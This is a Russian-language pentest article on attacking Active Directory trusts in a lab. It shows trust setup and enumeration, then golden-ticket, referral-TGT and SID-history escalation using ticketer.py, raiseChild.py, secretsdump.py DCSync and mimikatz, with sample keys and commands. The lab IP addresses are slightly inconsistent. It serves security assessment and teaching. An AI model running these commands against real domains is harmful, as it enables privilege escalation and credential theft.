Перейти к основному содержимому
  1. Статьи/

Атаки на доверие: как использовать трасты в Active Directory

·10 минут·
Оглавление

В подавляющем большинстве корпоративных инфраструктур для управления хостами и пользователями используется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости.

А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов - за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене.

В этой статье мы расскажем, как настроить разные варианты доверия (трасты) на тестовом стенде, как получать информацию о доменах, на какие параметры стоит обращать внимание и какие атаки можно использовать для получения привилегий.

Все команды, приведённые ниже, запускались на контроллере домена dc01.domain.local, если это команды для Windows и не если не указано иное. В тестовом стенде, на примере которого даны команды, схема такая:

Схема стенда
ДоменSIDКонтроллер домена
DOMAIN.LOCALS-1-5-21-847653711-2165400951-2480336776dc01.domain.local (172.16.128.148)
CHILD.DOMAIN.LOCALS-1-5-21-4112499798-2138080591-877392795childdc01.child.domain.local (172.16.128.149)
DOMAIN2.TESTS-1-5-21-1352937693-1936037518-1977030692testdc01.domain2.test (172.16.128.149)

Как настроить трасты на тестовом стенде
#

Добавить и настроить трасты можно с помощью команды netdom trust. Вот так добавляется двусторонний траст:

netdom trust <trusting_domain_name> /d:<trusted_domain_name> /add /twoway /Ud:<user_trusted_domain> /Pd:* /Uo:<user_trusting_domain> /Po:*

В документации написано, что создать траст между лесами с помощью netdom нельзя, но на тестовом стенде это сработало:

netdom trust domain2.test /d:domain.local /Add /TwoWay /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:*

Чтобы изменить атрибуты, нужно задать их для каждого направления траста:

netdom trust domain.local /d:domain2.test /UserD:domain2\administrator /PasswordD:* /UserO:domain\administrator /PasswordO:* /Quarantine:No

netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /Quarantine:No

Как получить информацию о трастах
#

Один из самых удобных способов - получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6):

ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub  "(objectClass=trustedDomain)"

C хоста с установленным powershell модулем Active Directory можно использовать командлет Get-AdTrust:

Get-AdTrust -filter *

Если уже запускали коллектор Bloodhound, в файле <date>_domains.json будет информация о трастах и некоторых атрибутах. Формат и данные зависят от коллектора.

Пример TDO, полученного с помощью ldapsearch при обращении к LDAP-серверу в домене domain.local:

# domain2.test, System, domain.local
dn: CN=domain2.test,CN=System,DC=domain,DC=local
objectClass: top
objectClass: leaf
objectClass: trustedDomain
cn: domain2.test
distinguishedName: CN=domain2.test,CN=System,DC=domain,DC=local
instanceType: 4
whenCreated: 20260604090017.0Z
whenChanged: 20260604090235.0Z
uSNCreated: 12870
uSNChanged: 12885
showInAdvancedViewOnly: TRUE
name: domain2.test
objectGUID:: Do6bcz+OuEGXJSzKVOVAgw==
securityIdentifier:: AQQAAAAAAAUVAAAA3TCkUI6WZXMkGNd1
trustDirection: 3
trustPartner: domain2.test
trustPosixOffset: -2147483648
trustType: 2
trustAttributes: 72
flatName: DOMAIN2
objectCategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=domain,DC=loca
 l
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z
msDS-TrustForestTrustInfo:: AQAAAAIAAAAdAAAAAAAAAAD03AE+lM6QAAwAAABkb21haW4yLn
 Rlc3REAAAAAAAAAAD03AE+lM6QAhgAAAABBAAAAAAABRUAAADdMKRQjpZlcyQY13UMAAAAZG9tYWl
 uMi50ZXN0BwAAAERPTUFJTjI=

Что интересного есть в TDO
#

Про назначение всех атрибутов можно почитать в документации. Самые интересные для нас:

trustDirection
#

Направление доверия. На примере выше:

1 - TRUST_DIRECTION_INBOUND (домен domain2.test доверяет domain.local, пользователи из domain.local имеют доступ к ресурсам domain2.test);

2 - TRUST_DIRECTION_OUTBOUND (домен domain.local доверяет domain2.test, пользователи из domain2.test имеют доступ к ресурсам domain.local);

3 - TRUST_DIRECTION_BIDIRECTIONAL (двустороннее доверие).

trustAttributes
#

Атрибут, по которому можно понять, какие атаки на трасты могут быть успешны. Значения флагов можно посмотреть в документации. Например, в примере выше trustAttributes: 72. 72 = 0x48. Это значит, что установлены атрибуты:

  • 0x08 TRUST_ATTRIBUTE_FOREST_TRANSITIVE;

  • 0x40 TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL.

flatName
#

Содержит NetBIOS name. Можно использовать для получения inter-realm ключей из NTDS.

msDS-SupportedEncryptionTypes
#

Определяет, какие типы шифрования будет использоваться для referral TGT. Значения можно посмотреть в документации. Если этот атрибут не задан или равен 0, то используется политика домена.

Важно учитывать этот параметр для большей OPSEC при генерации Referral TGT. Например, если msDS-SupportedEncryptionTypes равен 24, то KDC будет использовать AES256, а если равен 0 и в домене по умолчанию используется RC4, то для Referral TGT тоже будет использоваться RC4. При этом возможна аутентификация с TGT любым типом шифрования, поддерживаемым в целевом домене.

Типовые атаки на AD
#

Допустим, у нас есть только учетная запись в домене domain.local.

Если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test, что позволяет выполнять типовые атаки на Active Directory. Имея ученую запись пользователя в domain.local, в домене domain2.test можно:

  • запустить коллектор Bloodhound и собрать информацию об объектах в домене; поискать привилегированные учетные записи пользователей с одинаковыми именами в разных доменах - зачастую для них используют одинаковые пароли;

  • проанализировать ACL учетных записей из текущего домена на объекты в целевом домене;

  • собрать информацию о шаблонах сертификатов и попробовать повысить привилегии (встречается ESC1 от AUTHENTICATED USERS);

  • прочитать SYSVOL и поискать учетные данные или другую полезную информацию

  • выполнить coerce-атаки, Kerberoasting;

  • добавить учетную запись компьютера (по умолчанию AUTHENTICATED USERS могут добавить до 10 компьютеров в домен).

Возможна даже ситуация, когда получить привилегии администратора в другом домене будет проще и, используя эти привилегии, с помощью атак на трасты, уже можно будет получить максимальные привилегии в своем домене.

Примеры
#

Выпуск сертификата и аутентификация PKINIT:

image-20260603134254.png
image-20260603134408.png
image-20260605182212.png

Доступ к SYSVOL в другом лесу:

image-20260603133838.png

Добавление учетной записи компьютера:

image-20260605182550.png

Атаки на трасты
#

Если уже есть привилегии администратора домена, можно попробовать специфичные атаки на трасты. При этом важно смотреть атрибуты входящего траста. Например, если в LDAP на контроллере в домене domain.local атрибуты такие:

ldapsearch -x -H ldap://172.16.128.148 -D "administrator@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub "(objectClass=trustedDomain)"

# domain2.test, System, domain.local
dn: CN=domain2.test,CN=System,DC=domain,DC=local
...
trustAttributes: 4

…а в LDAP на контроллере в домене domain2.test атрибуты такие:

ldapsearch -x -H ldap://172.16.128.147 -D "administrator@domain2.test" -w 'P@ssw0rd' -b "dc=domain2,dc=test" -s sub "(objectClass=trustedDomain)"

# domain.local, System, domain2.test
dn: CN=domain.local,CN=System,DC=domain2,DC=test
...
trustAttributes: 64

…тогда при атаках на domain2.test SID-ы фильтроваться не будут. Ниже мы подробнее разберём отдельные атрибуты.

TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004)
#

Если SID-ы фильтруются и делегация TGT запрещена, атаки на трасты не сработают. Нужно пробовать типовые атаки в Active Directory.

Описание параметра в netdom:

/Quarantine         Valid only on an existing direct, outbound trust. Set or
                    clear the domain quarantine attribute. Default is "no".
                    When "yes" is specified, then only SIDs from the directly
                    trusted domain will be accepted for authorization data
                    returned during authentication. SIDS from any other
                    domains will be removed. Specifying /Quarantine without
                    yes or no will display the current state.

Пример настройки на тестовом стенде:

netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /Quarantine:Yes

В журналах событий можно увидеть события о неуспешном логине и фильтрации SID:

image-20260609141112.png
image-20260609141233.png

TRUST_ATTRIBUTE_WITHIN_FOREST
#

Домены в одном лесу Active Directory.

Raise child
#

Если нет атрибута TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, то возможна атака SID history, так как SID-ы не фильтруются. Получив Kerberos-ключи krbtgt дочернего домена, можно получить привилегии администратора в корневом домене.

С помощью ticketer.py генерируем Golden ticket, добавив SID группы Enterprise Admin корневого домена или другой группы или пользователя в корневом домене, которые позволят получить максимальные привилегии.

ticketer.py -aesKey <child_krbtgt_key> -domain-sid <child_domain_sid> -extra-sid <root_domaini_sid>-519  -domain <CHILD.DOMAIN.LOCAL> -user-id <user_id> <user_name>

В примере:

ticketer.py -aesKey a743aad3537230bb76a7172f062eeb0e31b7d1f720112317e4c0cf78fa8858a6 -domain-sid S-1-5-21-4112499798-2138080591-877392795 -extra-sid S-1-5-21-847653711-2165400951-2480336776-519 -domain CHILD.DOMAIN.LOCAL -user-id 1104 user
image-20260609164124.png

Или можно использовать raiseChild.py:

raiseChild.py <child.domain.local>/<domainadmin>:<password> -w <./ticket.ccache>

В примере:

raiseChild.py child.domain.local/Administrator:'P@ssw0rd'
image-20260609163724.png

Unconstrained delegation
#

По умолчанию между доменами в одном лесу разрешена делегация TGT. Если не установлен атрибут TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, то можно провести атаку на неограниченное делегирование Kerberos. Для контроллеров домена по умолчанию настроено неограниченное делегирование. Можно проверить, возможно, на контроллере домена уже есть TGT нужных учетных записей из доверенного домена, или запустить Rubeus в режиме monitor.

image-20260609171603.png

TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040)
#

Возможна эксплуатация с использованием ослабленной фильтрации SID, если нет атрибута TRUST_ATTRIBUTE_QUARANTINED_DOMAIN. В extra-sid можно указывать RID >= 1000. Например, RID пользователя из группы Administrators, контроллера домена или пользователя MSOL_<>, у которого есть привилегии на DCSync. При этом важно помнить, что добавление SID пользователя не дает привилегии групп, членом которых является этот пользователь.

Описание параметра в netdom:

/EnableSIDHistory   Valid only for an outbound, forest trust. Specifying "yes"
                    allows users migrated to the trusted forest from any other
                    forest, to use SID history to access resources in this
                    forest. This should be done only if the trusted forest
                    administrators can be trusted enough to specify SIDs of
                    this forest in the SID history attribute of their users
                    appropriately. Specifying "no" would disable the ability of
                    the migrated users in the trusted forest to use SID history
                    to access resources in this forest. Specifying
                    /EnableSIDHistory without yes or no will display the
                    current state.

Пример настройки на тестовом стенде:

netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /EnableSIDHistory:Yes

Есть два варианта генерации билета с добавлением SID: Golden ticket и Referral TGT. Если использовать Golden ticket, то сначала нужно с этим билетом запросить у KDC Referral TGT, затем обращаться к контроллеру другого домена для запроса TGS. При этом KDC сам определит, какое шифрование использовать.

Golden ticket
#

Сгенерировать билет:

ticketer.py -aesKey <compromised_krbtgt_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -user-id <user_id> <user_name>

В примере ниже S-1-5-21-1352937693-1936037518-1977030692-1106 - это SID пользователя newAdmin@domain2.test, который входит в группу Administrators:

ticketer.py -domain domain.local -domain-sid S-1-5-21-847653711-2165400951-2480336776 -aesKey ce56dbef7b7559a08eaa949f4134df70a2836bba08bbc81690cc6abecad9feaa -extra-sid S-1-5-21-1352937693-1936037518-1977030692-1106 -user-id 1104 user01
image-20260605131819.png

При использовании impacket при запросе TGS для сервиса в другом лесу может появиться ошибка KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database):

image-20260605130033.png

В таком случае, используя сгенерированный билет, можно сначала запросить referral TGT, а потом запросить TGS для нужного сервиса:

$ export KRB5CCNAME=user01.ccache
$ getST.py -spn krbtgt/DOMAIN2.TEST -no-pass -debug DOMAIN.LOCAL/user01
$ export KRB5CCNAME=user01@krbtgt_DOMAIN2.TEST@DOMAIN.LOCAL.ccache
$ getST.py -spn cifs/testdc01.DOMAIN2.TEST -no-pass -debug DOMAIN2.TEST/user01@DOMAIN2.TEST
$ export KRB5CCNAME=user01@DOMAIN2.TEST@cifs_testdc01.DOMAIN2.TEST@DOMAIN2.TEST.ccache
$ secretsdump.py -k -no-pass testdc01.domain2.test -debug

Referral TGT
#

В случае referral TGT используется ключ не учетной записи krbtgt, а inter-realm key. Чтобы получить ключ, нужно использовать команду lsadump::trust /patch в mimikatz. NT-хеш можно также получить из NTDS с помощью атаки DCSync.

Имя пользователя - DOMAIN$, где domain - значение атрибута flatName для доверенного домена. В примере это DOMAIN2$. Если используется AES, то нужно использовать ключ [ In ]. Какой тип ключа использовать, зависит от атрибута msDS-SupportedEncryptionTypes.

image-20260610124748.png

Сгенерировать билет с NT-хешом:

ticketer.py -nthash <inter-realm_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -spn <krbtgt/target_domain>-user-id <user_id> <user_name>

Сгенерировать билет с AES-ключом:

ticketer.py -aesKey <inter-realm_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -spn <krbtgt/target_domain>-user-id <user_id> <user_name>

Пример с NT-хешом:

ticketer.py -nthash f5b7ec58a53fb3c55f9cd749d1a3716a -domain-sid S-1-5-21-847653711-2165400951-2480336776 -extra-sid S-1-5-21-1352937693-1936037518-1977030692-1106 -spn "krbtgt/domain2.test" -domain DOMAIN.LOCAL -user-id 1104 user01

После генерации билета нужно запросить TGS:

$ export KRB5CCNAME=user01.ccache
$ getST.py -k -no-pass -debug -spn CIFS/testdc01.domain2.test  domain2.test/user01@domain2.test
$ export KRB5CCNAME=user01@domain2.test@CIFS_testdc01.domain2.test@DOMAIN2.TEST.ccache
$ secretsdump.py -k -no-pass -just-dc-user DOMAIN2/krbtgt testdc01.domain2.test
image-20260605132332.png

TRUST_ATTRIBUTE_CROSS_ORGANIZATION (0x00000010)
#

Этот атрибут включает Selective Authentication. При таком типе аутентификации пользователям из доверенного домена по умолчанию не разрешено получать доступ к сервисам в домене. Для того, чтобы разрешить учетной записи получать доступ, необходимо настроить привилегию Allowed to authenticate.

Описание параметра в netdom:

/SelectiveAUTH      Valid only on outbound Forest and External trusts.
                    Specifying "yes" enables selective authentication across
                    this trust.
                    Specifying "no" disables selective authentication across
                    this trust.
                    Specifying /SelectiveAUTH without yes or no will display
                    the current state of this trust attribute.

Пример настройки на тестовом стенде:

netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /SelectiveAUTH:Yes

При попытке получения доступа к какому-то сервису в другом лесу будет ошибка (если для пользователя не разрешен доступ к этому сервису):

image-20260605185104.png

Атака SID History работает, как и при TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL, если указывать SID привилегированного пользователя. Пример с добавлением SID-а пользователя, входящего в группу Administrators:

image-20260607200919.png

Проблема в том, что нужно узнать RID привилегированного пользователя. При добавлении SID обычного пользователя, если включена Selecive Authentication, пользователь из другого домена не может обратиться к LDAP и собрать сведения об объектах а домене. Можно было бы предположить, что раз атака SID history работает, то можно добавить SID рандомного пользователя и получить TGS для LDAP, но это не сработало:

image-20260609121418.png

Для того, чтобы собрать информацию о втором лесе, можно использовать учетную запись домена (inter-realm key). Так как ключ один и тот же, NT-хеш учетной записи DOMAIN2\DOMAIN$ будет совпадать с NT-хешом учетной записи DOMAIN\DOMAIN2$.

Подтверждение того, что NT-хеши одинаковые:

image-20260609122013.png

Имея привилегии администратора домена, можно провести атаку DCSync и получить NT-хеш DOMAIN\DOMAIN2$. Затем использовать этот хеш для учетной записи DOMAIN2\DOMAIN$ и собрать информацию о домене:

image-20260609122734.png

Или если известно, что какой-то учетной записи в текущем домене дана привилегия Allowed to authenticate на контроллер домена, то можно использовать ее:

image-20260609152054.png
image-20260609152221.png

trustAttributes: 0
#

Если значение trustAttributes равно 0, то возможна атака SID history, как и при TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL.

Что не удалось воспроизвести
#

Unconstrained delegation
#

Судя по документации, может быть установлен флаг, позволяющий провести атаку на неограниченное делегирование: TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x00000800); при этом флаг должен быть установлен для двух направлений. Но во время наших проектов такой флаг ни разу не встречался, и на тестовом стенде его настроить не удалось.

Изменение с помощью команды netdom не устанавливает этот атрибут:

netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /EnableTgtDelegation:Yes

При попытке вручную изменить trustAttributes в редакторе атрибутов ошибка:

image-20260609114157.png

Нефильтруемые SID
#

Некоторые источники утверждают, что есть SID-ы, которые почти никогда не фильтруются. Например, S-1-5-9 (Enterprise Domain Controllers). Но на тестовом стенде с trustAttributes, установленными в 0 или 64 (TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL), это подтвердить не удалось:

image-20260609151224.png
image-20260609151248.png